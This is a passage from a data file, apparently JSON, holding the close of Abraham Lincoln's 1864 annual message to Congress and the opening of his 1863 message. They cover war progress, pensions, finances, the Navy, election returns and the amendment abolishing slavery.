Omaha City, Nebr., and a preliminary\nlocation of the Pacific Railroad of California has been made from\nSacramento eastward to the great bend of the Truckee River in Nevada.\nNumerous discoveries of gold, silver, and cinnabar mines have been\nadded to the many heretofore known, and the country occupied by the\nSierra Nevada and Rocky mountains and the subordinate ranges now teems\nwith enterprising labor, which is richly remunerative. It is believed\nthat the product of the mines of precious metals in that region has\nduring the year reached, if not exceeded, one hundred millions in\nvalue.It was recommended in my last annual message that our Indian system be\nremodeled. Congress at its last session, acting upon the\nrecommendation, did provide for reorganizing the system in California,\nand it is believed that under the present organization the management\nof the Indians there will be attended with reasonable success. Much yet\nremains to be done to provide for the proper government of the Indians\nin other parts of the country, to render it secure for the advancing\nset-tier, and to provide for the welfare of the Indian. The Secretary\nreiterates his recommendations, and to them the attention of Congress\nis invited.The liberal provisions made by Congress for paying pensions to invalid\nsoldiers and sailors of the Republic and to the widows, orphans, and\ndependent mothers of those who have fallen in battle or died of disease\ncontracted or of wounds received in the service of their country have\nbeen diligently administered. There have been added to the pension\nrolls during the year ending the 30th day of June last the names of\n16,770 invalid soldiers and of 271 disabled seamen, making the present\nnumber of army invalid pensioners 22,767 and of navy invalid pensioners\n712.Of widows, orphans, and mothers 22,198 have been placed on the army\npension rolls and 248 on the navy rolls. The present number of army\npensioners of this class is 25,433 and of navy pensioners 793. At the\nbeginning of the year the number of Revolutionary pensioners was 1,430.\nOnly 12 of them were soldiers, of whom 7 have since died. The remainder\nare those who under the law receive pensions because of relationship to\nRevolutionary soldiers. During the year ending the 30th of June, 1864,\n$4,504,616.92 have been paid to pensioners of all classes.I cheerfully commend to your continued patronage the benevolent\ninstitutions of the District of Columbia which have hitherto been\nestablished or fostered by Congress, and respectfully refer for\ninformation concerning them and in relation to the Washington Aqueduct,\nthe Capitol, and other matters of local interest to the report of the\nSecretary.The Agricultural Department, under the supervision of its present\nenergetic and faithful head, is rapidly commending itself to the great\nand vital interest it was created to advance It is peculiarly the\npeople's Department, in which they feel more directly concerned than in\nany other. I commend it to the continued attention and fostering care\nof Congress.The war continues. Since the last annual message all the important\nlines and positions then occupied by our forces have been maintained\nand our arms have steadily advanced, thus liberating the regions left\nin rear, so that Missouri, Kentucky, Tennessee, and parts of other\nStates have again produced reasonably fair crops.The most remarkable feature in the military operations of the year is\nGeneral Sherman's attempted march of 300 miles directly through the\ninsurgent region. It tends to show a great increase of our relative\nstrength that our General in Chief should feel able to confront and\nhold in check every active force of the enemy, and yet to detach a\nwell-appointed large army to move on such an expedition. The result not\nyet being known, conjecture in regard to it is not here indulged.Important movements have also occurred during the year to the effect of\nmolding society for durability in the Union. Although short of complete\nsuccess, it is much in the fight direction that 12,000 citizens in each\nof the States of Arkansas and Louisiana have organized loyal State\ngovernments, with free constitutions, and are earnestly struggling to\nmaintain and administer them. The movements in the same direction, more\nextensive though less definite, in Missouri, Kentucky, and Tennessee\nshould not be overlooked. But Maryland presents the example of complete\nsuccess. Maryland is secure to liberty and union for all the future.\nThe genius of rebellion will no more claim Maryland. Like another foul\nspirit being driven out, it may seek to tear her, but it will woo her\nno-more.At the last session of Congress a proposed amendment of the\nConstitution abolishing slavery throughout the United States passed the\nSenate, but failed for lack of the requisite two-thirds vote in the\nHouse of Representatives. Although the present is the same Congress and\nnearly the same members, and without questioning the wisdom or\npatriotism of those who stood in opposition, I venture to recommend the\nreconsideration and passage of the measure at the present session. Of\ncourse the abstract question is not changed; but in intervening\nelection shows almost certainly that the next Congress will pass the\nmeasure if this does not. Hence there is only a question of time as to\nwhen the proposed amendment will go to the States for their action. And\nas it is to so go at all events, may we not agree that the sooner the\nbetter? It is not claimed that the election has imposed a duty on\nmembers to change their views or their votes any further than, as an\nadditional element to be considered, their judgment may be affected by\nit. It is the voice of the people now for the first time heard upon the\nquestion. In a great national crisis like ours unanimity of action\namong those seeking a common end is very desirable--almost\nindispensable. And yet no approach to such unanimity is attainable\nunless some deference shall be paid to the will of the majority simply\nbecause it is the will of the majority. In this case the common end is\nthe maintenance of the Union, and among the means to secure that end\nsuch will, through the election, is most dearly declared in favor of\nsuch constitutional amendment.The most reliable indication of public purpose in this country is\nderived through our popular elections. Judging by the recent canvass\nand its result, the purpose of the people within the loyal States to\nmaintain the integrity of the Union was never more firm nor more nearly\nunanimous than now. The extraordinary calmness and good order with\nwhich the millions of voters met and mingled at the polls give strong\nassurance of this. Not only all those who supported the Union ticket,\nso called, but a great majority of the opposing party also may be\nfairly claimed to entertain and to be actuated by the same purpose. It\nis an unanswerable argument to this effect that no candidate for any\noffice whatever, high or low, has ventured to seek votes on the avowal\nthat he was for giving up the Union. There have been much impugning of\nmotives and much heated controversy as to the proper means and best\nmode of advancing the Union cause, but on the distinct issue of Union\nor no Union the politicians have shown their instinctive knowledge that\nthere is no diversity among the people. In affording the people the\nfair opportunity of showing one to another and to the world this\nfirmness and unanimity of purpose, the election has been of vast value\nto the national cause.The election has exhibited another tact not less valuable to be\nknown--the fact that we do not approach exhaustion in the most\nimportant branch of national resources, that of living men. While it is\nmelancholy to reflect that the war has filled so many graves and\ncarried mourning to so many hearts, it is some relief to know that,\ncompared with the surviving, the fallen have been so few. While corps\nand divisions and brigades and regiments have formed and fought and\ndwindled and gone out of existence, a great majority of the men who\ncomposed them are still living. The same is true of the naval service.\nThe election returns prove this. So many voters could not else be\nfound. The States regularly holding elections, both now and four years\nago, to wit, California, Connecticut, Delaware, Illinois, Indiana,\nIowa, Kentucky, Maine, Maryland, Massachusetts, Michigan, Minnesota,\nMissouri, New Hampshire, New Jersey, New York, Ohio, Oregon,\nPennsylvania, Rhode Island, Vermont, West Virginia, and Wisconsin, east\n3,982,011 votes now, against 3,870,222 cast then, showing an aggregate\nnow of 3,982,011. To this is to be added 33,762 cast now in the new\nStates of Kansas and Nevada, which States did not vote in 1860, thus\nswelling the aggregate to 4,015,773 and the net increase during the\nthree years and a half of war to 145,551. A table is appended showing\nparticulars. To this again should be added the number of all soldiers\nin the field from Massachusetts, Rhode Island, New Jersey, Delaware,\nIndiana, Illinois, and California, who by the laws of those States\ncould not vote away from their homes, and which number can not be less\nthan 90,000. Nor yet is this all. The number in organized Territories\nis triple now what it was four years ago, while thousands, white and\nblack, join us as the national arms press back the insurgent lines. So\nmuch is shown, affirmatively and negatively, by the election. It is not\nmaterial to inquire how the increase has been produced or to show that\nit would have been greater but for the war, which is probably true. The\nimportant fact remains demonstrated that we have more men now than we\nhad when the war began; that we are not exhausted nor in process of\nexhaustion; that we are gaining strength and may if need be maintain\nthe contest indefinitely. This as to men. Material resources are now\nmore complete and abundant than ever.The national resources, then, are unexhausted, and, as we believe,\ninexhaustible. The public purpose to reestablish and maintain the\nnational authority is unchanged, and, as we believe, unchangeable. The\nmanner of continuing the effort remains to choose. On careful\nconsideration of all the evidence accessible it seems to me that no\nattempt at negotiation with the insurgent leader could result in any\ngood. He would accept nothing short of severance of the Union,\nprecisely what we will not and can not give. His declarations to this\neffect are explicit and oft repeated. He does not attempt to deceive\nus. He affords us no excuse to deceive ourselves. He can not\nvoluntarily reaccept the Union; we can not voluntarily yield it.\nBetween him and us the issue is distinct, simple, and inflexible. It is\nan issue which can only be tried by war and decided by victory. If we\nyield, we are beaten; if the Southern people fail him, he is beaten.\nEither way it would be the victory and defeat following war. What is\ntrue, however, of him who heads the insurgent cause is not necessarily\ntrue of those who follow. Although he can not reaccept the Union, they\ncan. Some of them, we know, already desire peace and reunion. The\nnumber of such may increase. They can at any moment have peace simply\nby laying down their arms and submitting to the national authority\nunder the Constitution. Alter so much the Government could not, if it\nwould, maintain war against them. The loyal people would not sustain or\nallow it. If questions should remain, we would adjust them by the\npeaceful means of legislation, conference, courts, and votes, operating\nonly in constitutional and lawful channels. Some certain, and other\npossible, questions are and would be beyond the Executive power to\nadjust; as, for instance, the admission of members into Congress and\nwhatever might require the appropriation of money. The Executive power\nitself would be greatly diminished by the cessation of actual war.\nPardons and remissions of forfeitures, however, would still be within\nExecutive control. In what spirit and temper this control would be\nexercised can be fairly judged of by the past.A year ago general pardon and amnesty, upon specified terms, were\noffered to all except certain designated classes, and it was at the\nsame time made known that the excepted classes were still within\ncontemplation of special clemency. During the year many availed\nthemselves of the general provision, and many more would, only that the\nsigns of bad faith in some led to such precautionary measures as\nrendered the practical process less easy and certain. During the same\ntime also special pardons have been granted to individuals of the\nexcepted classes, and no voluntary application has been denied. Thus\npractically the door has been for a full year open to all except such\nas were not in condition to make free choice; that is, such as were in\ncustody or under constraint. It is still so open to all. But the time\nmay come, probably will come, when public duty shall demand that it be\nclosed and that in lieu more rigorous measures than heretofore shall be\nadopted. In presenting the abandonment of armed resistance to the\nnational authority on the part of the insurgents as the only\nindispensable condition to ending the war on the part of the\nGovernment, I retract nothing heretofore said as to slavery. I repeat\nthe declaration made a year a ago, that \"while I remain in my present\nposition I shall not attempt to retract or modify the emancipation\nproclamation, nor shall I return to slavery any person who is free by\nthe terms of that proclamation or by any of the acts of Congress.\" If\nthe people should, by whatever mode or means, make it an Executive duty\nto re-enslave such persons, another, and not I, must be their\ninstrument to perform it. In stating a single condition of peace I mean\nsimply to say that the war will cease on the part of the Government\nwhenever it shall have ceased on the part of those who began it.State - 1860 - 1864California - 118,840 - 110,000Connecticut - 77,246 - 86,616Delaware - 16,039 - 16,924Illinois - 339,693 - 348,235Indiana - 272,143 - 280,645Iowa - 128,331 - 143,331Kentucky - 146,216 - 91,300Maine - 97,918 - 115,141Maryland - 92,502 - 72,703Massachusetts - 169,533 - 175,487Michigan - 154,747 - 162,413Minnesota - 34,799 - 42,534Missouri - 165,538 - 90,000New Hampshire - 65,953 - 69,111New Jersey - 121,125 - 128,680New York - 675,156 - 730,664Ohio - 42,441 - 470,745Oregon - 14,410 - 14,410+Pennsylvania - 476,442 - 572,697Rhode Island - 19,931 - 22,187Vermont - 42,844 - 55,811West Virginia - 46,195 - 33,874Wisconsin - 152,180 - 148,513 -", 
+    "name": "Abraham Lincoln"
+}
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+{
+    "date": "December 8, 1863", 
+    "speech": "Fellow-Citizens of the Senate and House of Representatives:Another year of health and of sufficiently abundant harvests has\npassed. For these, and especially for the improved condition of our\nnational affairs, our renewed and profoundest gratitude to God is due.We remain in peace and friendship with foreign powers.The efforts of disloyal citizens of the United States to involve us in\nforeign wars to aid an inexcusable insurrection have been unavailing.\nHer Britannic Majesty's Government, as was justly expected, have\nexercised their authority to prevent the departure of new hostile\nexpeditions from British ports. The Emperor of France has by a like\nproceeding promptly vindicated the neutrality which he proclaimed at\nthe beginning of the contest. Questions of great intricacy and\nimportance have arisen out of the blockade and other belligerent\noperations between the Government and several of the maritime powers,\nbut they have been discussed and, as far as was possible, accommodated\nin a spirit of frankness, justice, and mutual good will. It is\nespecially gratifying that our prize courts, by the impartiality of\ntheir adjudications, have commanded the respect and confidence of\nmaritime powers.The supplemental treaty between the United States and Great Britain for\nthe suppression of the African slave trade, made on the 17th day of\nFebruary last, has been duly ratified and carried into execution. It is\nbelieved that so far as American ports and American citizens are\nconcerned that inhuman and odious traffic has been brought to an end.I shall submit for the consideration of the Senate a convention for the\nadjustment of possessory claims in Washington Territory arising out of\nthe treaty of the 15th June, 1846, between the United States and Great\nBritain, and which have been the source of some disquiet among the\ncitizens of that now rapidly improving part of the country.A novel and important question, involving the extent of the maritime\njurisdiction of Spain in the waters which surround the island of Cuba,\nhas been debated without reaching an agreement, and it is proposed in\nan amicable spirit to refer it to the arbitrament of a friendly power.\nA convention for that purpose will be submitted to the Senate.I have thought it proper, subject to the approval of the Senate, to\nconcur with the interested commercial powers in an arrangement for the\nliquidation of the Scheldt dues, upon the principles which have been\nheretofore adopted in regard to the imposts upon navigation in the\nwaters of Denmark.  The long-pending controversy between this\nGovernment and that of Chile touching the seizure at Sitana, in Peru,\nby Chilean officers, of a large amount in treasure belonging to\ncitizens of the United States has been brought to a close by the award\nof His Majesty the King of the Belgians, to whose arbitration the\nquestion was referred by the parties. The subject was thoroughly and\npatiently examined by that justly respected magistrate, and although\nthe sum awarded to the claimants may not have been as large as they\nexpected there is no reason to distrust the wisdom of His Majesty's\ndecision. That decision was promptly complied with by Chile when\nintelligence in regard to it reached that country.The joint commission under the act of the last session for carrying\ninto effect the convention with Peru on the subject of claims has been\norganized at Lima, and is engaged in the business intrusted to it.Difficulties concerning interoceanic transit through Nicaragua are in\ncourse of amicable adjustment.In conformity with principles set forth in my last annual message, I\nhave received a representative from the United States of Colombia, and\nhave accredited a minister to that Republic.Incidents occurring in the progress of our civil war have forced upon\nmy attention the uncertain state of international questions touching\nthe rights of foreigners in this country and of United States citizens\nabroad. In regard to some governments these rights are at least\npartially, defined by treaties. In no instance, however, is it\nexpressly stipulated that in the event of civil war a foreigner\nresiding in this country within the lines of the insurgents is to be\nexempted from the rule which classes him as a belligerent, in whose\nbehalf the Government or his country can not expect any privileges or\nimmunities distinct from that character. I regret to say, however, that\nsuch claims have been put forward, and in some instances in behalf of\nforeigners who have lived in the United States the greater part of\ntheir lives.There is reason to believe that many persons born in foreign countries\nwho have declared their intention to become citizens, or who have been\nfully naturalized, have evaded the military duty required of them by\ndenying the fact and thereby throwing upon the Government the burden of\nproof. It has been found difficult or impracticable to obtain this\nproof, from the want of guides to the proper sources of information.\nThese might be supplied by requiring clerks of courts where\ndeclarations of intention may be made or naturalizations effected to\nsend periodically lists of the names of the persons naturalized or\ndeclaring their intention to become citizens to the Secretary of the\nInterior, in whose Department those names might be arranged and printed\nfor general information.There is also reason to believe that foreigners frequently become\ncitizens of the United States for the sole purpose of evading duties\nimposed by the laws of their native countries, to which on becoming\nnaturalized here they at once repair, and though never returning to the\nUnited States they still claim the interposition of this Government as\ncitizens. Many altercations and great prejudices have heretofore arisen\nout of this abuse. It is therefore submitted to your serious\nconsideration. It might be advisable to fix a limit beyond which no\ncitizen of the United States residing abroad may claim the\ninterposition of his Government.The right of suffrage has often been assumed and exercised by aliens\nunder pretenses of naturalization, which they have disavowed when\ndrafted into the military service. I submit the expediency of such an\namendment of the law as will make the fact of voting an estoppel\nagainst any plea of exemption from military service or other civil\nobligation on the ground of alienage.In common with other Western powers, our relations with Japan have been\nbrought into serious jeopardy through the perverse opposition of the\nhereditary aristocracy of the Empire to the enlightened and liberal\npolicy of the Tycoon, designed to bring the country into the society of\nnations. It is hoped, although not with entire confidence, that these\ndifficulties may be peacefully overcome. I ask your attention to the\nclaim of the minister residing there for the damages he sustained in\nthe destruction by fire of the residence of the legation at Yedo.Satisfactory arrangements have been made with the Emperor of Russia,\nwhich, it is believed, will result in effecting a continuous line of\ntelegraph through that Empire from our Pacific coast.I recommend to your favorable consideration the subject of an\ninternational telegraph across the Atlantic Ocean, and also of a\ntelegraph between this capital and the national forts along the\nAtlantic seaboard and the Gulf of Mexico. Such communications,\nestablished with any reasonable outlay, would be economical as well as\neffective aids to the diplomatic, military, and naval service.The consular system of the United States, under the enactments of the\nlast Congress, begins to be self-sustaining, and there is reason to\nhope that it may become entirely so with the increase of trade which\nwill ensue whenever peace is restored. Our ministers abroad have been\nfaithful in defending American rights. In protecting commercial\ninterests our consuls have necessarily had to encounter increased\nlabors and responsibilities growing out of the war. These they have for\nthe most part met and discharged with zeal and efficiency. This\nacknowledgment justly includes those consuls who, residing in Morocco,\nEgypt, Turkey, Japan, China, and other Oriental countries, are charged\nwith complex functions and extraordinary powers.The condition of the several organized Territories is generally\nsatisfactory, although Indian disturbances in New Mexico have not been\nentirely suppressed. The mineral resources of Colorado, Nevada, Idaho,\nNew Mexico, and Arizona are proving far richer than has been heretofore\nunderstood. I lay before you a communication on this subject from the\ngovernor of New Mexico. I again submit to your consideration the\nexpediency of establishing a system for the encouragement of\nimmigration. Although this source of national wealth and strength is\nagain flowing with greater freedom than for several years before the\ninsurrection occurred, there is still a great deficiency of laborers in\nevery field of industry, especially in agriculture and in our mines, as\nwell of iron and coal as of the precious metals. While the demand for\nlabor is much increased here, tens of thousands of persons, destitute\nof remunerative occupation, are thronging our foreign consulates and\noffering to emigrate to the United States if essential, but very cheap,\nassistance can be afforded them. It is easy to see that under the sharp\ndiscipline of civil war the nation is beginning a new life. This noble\neffort demands the aid and ought to receive the attention and support\nof the Government.Injuries unforeseen by the Government and unintended may in some cases\nhave been inflicted on the subjects or citizens of foreign countries,\nboth at sea and on land, by persons in the service of the United\nStates. As this Government expects redress from other powers when\nsimilar injuries are inflicted by persons in their service upon\ncitizens of the United States, we must be prepared to do justice to\nforeigners. If the existing judicial tribunals are inadequate to this\npurpose, a special court may be authorized, with power to hear and\ndecide such claims of the character referred to as may have arisen\nunder treaties and the public law. Conventions for adjusting the claims\nby joint commission have been proposed to some governments, but no\ndefinitive answer to the proposition has yet been received from any.In the course of the session I shall probably have occasion to request\nyou to provide indemnification to claimants where decrees of\nrestitution have been rendered and damages awarded by admiralty courts,\nand in other cases where this Government may be acknowledged to be\nliable in principle and where the amount of that liability has been\nascertained by an informal arbitration.The proper officers of the Treasury have deemed themselves required by\nthe law of the United States upon the subject to demand a tax upon the\nincomes of foreign consuls in this country. While such a demand may not\nin strictness be in derogation of public law, or perhaps of any\nexisting treaty between the United States and a foreign country, the\nexpediency of so far modifying the act as to exempt from tax the income\nof such consuls as are not citizens of the United States, derived from\nthe emoluments of their office or from property not situated in the\nUnited States, is submitted to your serious consideration. I make this\nsuggestion upon the ground that a comity which ought to be reciprocated\nexempts our consuls in all other countries from taxation to the extent\nthus indicated. The United States, I think, ought not to be\nexceptionally illiberal to international trade and commerce.The operations of the Treasury during the last year have been\nsuccessfully conducted. The enactment by Congress of a national banking\nlaw has proved a valuable support of the public credit and the general\nlegislation in relation to loans has fully answered the expectations of\nits favorers. Some amendments may be required to perfect existing laws,\nbut no change in their principles or general scope is believed to be\nneeded.Since these measures have been in operation all demands on the\nTreasury, including the pay of the Army and Navy, have been promptly\nmet and fully satisfied. No considerable body of troops, it is\nbelieved, were ever more amply provided and more liberally and\npunctually paid, and it may be added that by no people were the burdens\nincident to a great war ever more cheerfully borne.The receipts during the year from all sources, including loans and\nbalance in the Treasury at its commencement, were $901,125,674.86, and\nthe aggregate disbursements $895,796,630.65, leaving a balance on the\n1st of July, 1863, of $5,329,044.21. Of the receipts there were derived\nfrom customs $69,059,642.40, from internal revenue $37,640,787.95, from\ndirect tax $1,485,103.61, from lands $167,617.17, from miscellaneous\nsources $3,046,615.35, and from loans $776,682,361.57, making the\naggregate $901,125,674.86. Of the disbursements there were for the\ncivil service $23,253,922.08, for pensions and Indians $4,216,520.79,\nfor interest on public debt $24,729,846.51, for the War Department\n$599,298,600.83, for the Navy Department $63,211,105.27, for payment of\nfunded and temporary debt $181,086,635.07, making the aggregate\n$895,796,630.65 and leaving the balance of $5,329,044.21. But the\npayment of funded and temporary debt, having been made from moneys\nborrowed during the year, must be regarded as merely nominal payments\nand the moneys borrowed to make them as merely nominal receipts, and\ntheir amount, $181,086,635.07, should therefore be deducted both from\nreceipts and disbursements. This being done there remains as actual\nreceipts $720,039,039.79 and the actual disbursements $714,709,995.58,\nleaving the balance as already stated.The actual receipts and disbursements for the first quarter and the\nestimated receipts and disbursements for the remaining three quarters\nof the current fiscal year (1864) will be shown in detail by the report\nof the Secretary of the Treasury, to which I invite your attention. It\nis sufficient to say here that it is not believed that actual results\nwill exhibit a state of the finances less favorable to the country than\nthe estimates of that officer heretofore submitted, while it is\nconfidently expected that at the close of the year both disbursements\nand debt will be found very considerably less than has been\nanticipated.The report of the Secretary of War is a document of great interest. It\nconsists of--1. The military operations of the year, detailed in the report of the\nGeneral in Chief. 2. The organization of colored persons into the war\nservice. 3. The exchange of prisoners, fully set forth in the letter of\nGeneral Hitchcock. 4. The operations under the act for enrolling and\ncalling out the national forces, detailed in the report of the\nProvost-Marshal-General. 5. The organization of the invalid\ncorps, and 6. The operation of the several departments of the\nQuartermaster-General, Commissary-General, Paymaster-General, Chief of\nEngineers, Chief of Ordnance, and Surgeon-General.It has appeared impossible to make a valuable summary of this report,\nexcept such as would be too extended for this place, and hence I\ncontent myself by asking your careful attention to the report itself.The duties devolving on the naval branch of the service during the year\nand throughout the whole of this unhappy contest have been discharged\nwith fidelity and eminent success. The extensive blockade has been\nconstantly increasing in efficiency as the Navy has expanded, yet on so\nlong a line it has so far been impossible to entirely suppress illicit\ntrade. From returns received at the Navy Department it appears that\nmore than 1,000 vessels have been captured since the blockade was\ninstituted, and that the value of prizes already sent in for\nadjudication amounts to over $13,000,000.The naval force of the United States consists at this time of 588\nvessels completed and in the course of completion, and of these 75 are\nironclad or armored steamers. The events of the war give an increased\ninterest and importance to the Navy which will probably extend beyond\nthe war itself.The armored vessels in our Navy completed and in service, or which are\nunder contract and approaching completion, are believed to exceed in\nnumber those of any other power; but while these may be relied upon for\nharbor defense and coast service, others of greater strength and\ncapacity will be necessary for cruising purposes and to maintain our\nrightful position on the ocean.The change that has taken place in naval vessels and naval warfare\nsince the introduction of steam as a motive power for ships of war\ndemands either a corresponding change in some of our existing\nnavy-yards or the establishment of new ones for the construction and\nnecessary repair of modern naval vessels. No inconsiderable\nembarrassment, delay, and public injury have been experienced from the\nwant of such governmental establishments. The necessity of such a\nnavy-yard, so furnished, at some suitable place upon the Atlantic\nseaboard has on repeated occasions been brought to the attention of\nCongress by the Navy Department, and is again presented in the report\nof the Secretary which accompanies this communication. I think it my\nduty to invite your special attention to this subject, and also to that\nof establishing a yard and depot for naval purposes upon one of the\nWestern rivers. A naval force has been created on those interior\nwaters, and under many disadvantages, within little more than two\nyears, exceeding in numbers the whole naval force of the country at the\ncommencement of the present Administration. Satisfactory and important\nas have been the performances of the heroic men of the Navy at this\ninteresting period, they are scarcely more wonderful than the success\nof our mechanics and artisans in the production of war vessels, which\nhas created a new form of naval power.Our country has advantages superior to any other nation in our\nresources of iron and timber, with inexhaustible quantities of fuel in\nthe immediate vicinity of both, and all available and in close\nproximity to navigable waters. Without the advantage of public works,\nthe resources of the nation have been developed and its power displayed\nin the construction of a Navy of such magnitude, which has at the very\nperiod of its creation rendered signal service to the Union.The increase of the number of seamen in the public service from 7,500\nmen in the spring of 1861 to about 34,000 at the present time has been\naccomplished without special legislation or extraordinary bounties to\npromote that increase. It has been found, however, that the operation\nof the draft, with the high bounties paid for army recruits, is\nbeginning to affect injuriously the naval service, and will, if not\ncorrected, be likely to impair its efficiency by detaching seamen from\ntheir proper vocation and inducing them to enter the Army. I therefore\nrespectfully suggest that Congress might aid both the army and naval\nservices by a definite provision on this subject which would at the\nsame time be equitable to the communities more especially interested.I commend to your consideration the suggestions of the Secretary of the\nNavy in regard to the policy of fostering and training seamen and also\nthe education of officers and engineers for the naval service. The\nNaval Academy is rendering signal service in preparing midshipmen for\nthe highly responsible duties which in after life they will be required\nto perform. In order that the country should not be deprived of the\nproper quota of educated officers, for which legal provision has been\nmade at the naval school, the vacancies caused by the neglect or\nomission to make nominations from the States in insurrection have been\nfilled by the Secretary of the Navy. The school is now more full and\ncomplete than at any former period, and in every respect entitled to\nthe favorable consideration of Congress.During the past fiscal year the financial condition of the Post-Office\nDepartment has been one of increasing prosperity, and I am gratified in\nbeing able to state that the actual postal revenue has nearly equaled\nthe entire expenditures, the latter amounting to $11,314,206.84 and the\nformer to $11,163,789.59, leaving a deficiency of but $150,417.25. In\n1860, the year immediately preceding the rebellion, the deficiency\namounted to $5,656,705.49, the postal receipts of that year being\n$2,645,722.19 less than those of 1863. The decrease since 1860 in the\nannual amount of transportation has been only about 25 per cent, but\nthe annual expenditure on account of the same has been reduced 35 per\ncent. It is manifest, therefore, that the Post-Office Department may\nbecome self-sustaining in a few years, even with the restoration of the\nwhole service.The international conference of postal delegates from the principal\ncountries of Europe and America, which was called at the suggestion of\nthe Postmaster-General, met at Paris on the 11th of May last and\nconcluded its deliberations on the 8th of June. The principles\nestablished by the conference as best adapted to facilitate postal\nintercourse between nations and as the basis of future postal\nconventions inaugurate a general system of uniform international\ncharges at reduced rates of postage, and can not fail to produce\nbeneficial results.I refer you to the report of the Secretary of the Interior, which is\nherewith laid before you, for useful and varied information in relation\nto the public lands, Indian affairs, patents, pensions, and other\nmatters of public concern pertaining to his Department.The quantity of land disposed of during the last and the first quarter\nof the present fiscal years was 3,841,549 acres, of which 161,911 acres\nwere sold for cash, 1,456,514 acres were taken up under the homestead\nlaw, and the residue disposed of under laws granting lands for military\nbounties, for railroad and other purposes. It also appears that the\nsale of the public lands is largely on the increase.It has long been a cherished opinion of some of our wisest statesmen\nthat the people of the United States had a higher and more enduring\ninterest in the early settlement and substantial cultivation of the\npublic lands than in the amount of direct revenue to be derived from\nthe sale of them. This opinion has had a controlling influence in\nshaping legislation upon the subject of our national domain. I may cite\nas evidence of this the liberal measures adopted in reference to actual\nsettlers; the grant to the States of the overflowed lands within their\nlimits, in order to their being reclaimed and rendered fit for\ncultivation; the grants to railway companies of alternate sections of\nland upon the contemplated issues of their roads, which when completed\nwill so largely multiply the facilities for reaching our distant\npossessions. This policy has received its most signal and beneficent\nillustration in the recent enactment granting homesteads to actual\nsettlers. Since the 1st day of January last the before-mentioned\nquantity of 1,456,514 acres of land have been taken up under its\nprovisions. This fact and the amount of sales furnish gratifying\nevidence of increasing settlement upon the public lands,\nnotwithstanding the great struggle in which the energies of the nation\nhave been engaged, and which has required so large a withdrawal of our\ncitizens from their accustomed pursuits. I cordially concur in the\nrecommendation of the Secretary of the Interior suggesting a\nmodification of the act in favor of those engaged in the military and\nnaval service of the United States. I doubt not that Congress will\ncheerfully adopt such measures as will, without essentially changing\nthe general features of the system, secure to the greatest practicable\nextent its benefits to those who have left their homes in the defense\nof the country in this arduous crisis.I invite your attention to the views of the Secretary as to the\npropriety of raising by appropriate legislation a revenue from the\nmineral lands of the United States.The measures provided at your last session for the removal of certain\nIndian tribes have been carried into effect. Sundry treaties have been\nnegotiated, which will in due time be submitted for the constitutional\naction of the Senate. They contain stipulations for extinguishing the\npossessory rights of the Indians to large and valuable tracts of lands.\nIt is hoped that the effect of these treaties will result in the\nestablishment of permanent friendly relations with such of these tribes\nas have been brought into frequent and bloody collision with our\noutlying settlements and emigrants. Sound policy and our imperative\nduty to these wards of the Government demand our anxious and constant\nattention to their material well-being, to their progress in the arts\nof civilization, and, above all, to that moral training which under the\nblessing of Divine Providence will confer upon them the elevated and\nsanctifying influences, the hopes and consolations, of the Christian\nfaith. I suggested in my last annual message the propriety of\nremodeling our Indian system. Subsequent events have satisfied me of\nits necessity. The details set forth in the report of the Secretary\nevince the urgent need for immediate legislative action.I commend the benevolent institutions established or patronized by the\nGovernment in this District to your generous and fostering care. The\nattention of Congress during the last session was engaged to some\nextent with a proposition for enlarging the water communication between\nthe Mississippi River and the northeastern seaboard, which proposition,\nhowever, failed for the time. Since then, upon a call of the greatest\nrespectability, a convention has been held at Chicago upon the same\nsubject, a summary of whose views is contained in a memorial addressed\nto the President and Congress, and which I now have the honor to lay\nbefore you. That this interest is one which ere long will force its own\nway I do not entertain a doubt, while it is submitted entirely to your\nwisdom as to what can be done now. Augmented interest is given to this\nsubject by the actual commencement of work upon the Pacific Railroad,\nunder auspices so favorable to rapid progress and completion. The\nenlarged navigation becomes a palpable need to the great road.I transmit the second annual report of the Commissioner of the\nDepartment of Agriculture, asking your attention to the developments in\nthat vital interest of the nation. When Congress assembled a year ago,\nthe war had already lasted nearly twenty months, and there had been\nmany conflicts on both land and sea, with varying results; the\nrebellion had been pressed back into reduced limits; yet the tone of\npublic feeling and opinion, at home and abroad was not satisfactory.\nWith other signs, the popular elections then just past indicated\nuneasiness among ourselves, while, amid much that was cold and\nmenacing, the kindest words coming from Europe were uttered in accents\nof pity that we were too blind to surrender a hopeless cause. Our\ncommerce was suffering greatly by a few armed vessels built upon and\nfurnished from foreign shores, and we were threatened with such\nadditions from the same quarter as would sweep our trade from the sea\nand raise our blockade. We had failed to elicit from European\nGovernments anything hopeful upon this subject. The preliminary\nemancipation proclamation, issued in September, was running its\nassigned period to the beginning of the new year. A month later the\nfinal proclamation came, including the announcement that colored men of\nsuitable condition would be received into the war service. The policy\nof emancipation and of employing black soldiers gave to the future a\nnew aspect, about which hope and fear and doubt contended in uncertain\nconflict. According to our political system, as a matter of civil\nadministration, the General Government had no lawful power to effect\nemancipation in any State, and for a long time it had been hoped that\nthe rebellion could be suppressed without resorting to it as a military\nmeasure. It was all the while deemed possible that the necessity for it\nmight come, and that if it should the crisis of the contest would then\nbe presented. It came, and, as was anticipated, it was followed by dark\nand doubtful days. Eleven months having now passed, we are permitted to\ntake another review. The rebel borders are pressed still farther back,\nand by the complete opening of the Mississippi the country dominated by\nthe rebellion is divided into distinct parts, with no practical\ncommunication between them. Tennessee and Arkansas have been\nsubstantially cleared of insurgent control, and influential citizens in\neach, owners of slaves and advocates of slavery at the beginning of the\nrebellion, now declare openly for emancipation in their respective\nStates. Of those States not included in the emancipation proclamation,\nMaryland and Missouri, neither of which three years ago would tolerate\nany restraint upon the extension of slavery into new Territories, only\ndispute now as to the best mode of removing it within their own limits.Of those who were slaves at the beginning of the rebellion full 100,000\nare now in the United States military service, about one-half of which\nnumber actually bear arms in the ranks, thus giving the double\nadvantage of taking so much labor from the insurgent cause and\nsupplying the places which otherwise must be filled with so many white\nmen. So far as tested, it is difficult to say they are not as good\nsoldiers as any. No servile insurrection or tendency to violence or\ncruelty has marked the measures of emancipation and arming the blacks.\nThese measures have been much discussed in foreign countries, and,\ncontemporary with such discussion, the tone of public sentiment there\nis much improved. At home the same measures have been fully discussed,\nsupported, criticised, and denounced, and the annual elections\nfollowing are highly encouraging to those whose official duty it is to\nbear the country through this great trial. Thus we have the new\nreckoning. The crisis which threatened to divide the friends of the\nUnion is past.Looking now to the present and future, and with reference to a\nresumption of the national authority within the States wherein that\nauthority has been suspended, I have thought fit to issue a\nproclamation, a copy of which is herewith transmitted. On examination\nof this proclamation it will appear, as is believed, that nothing 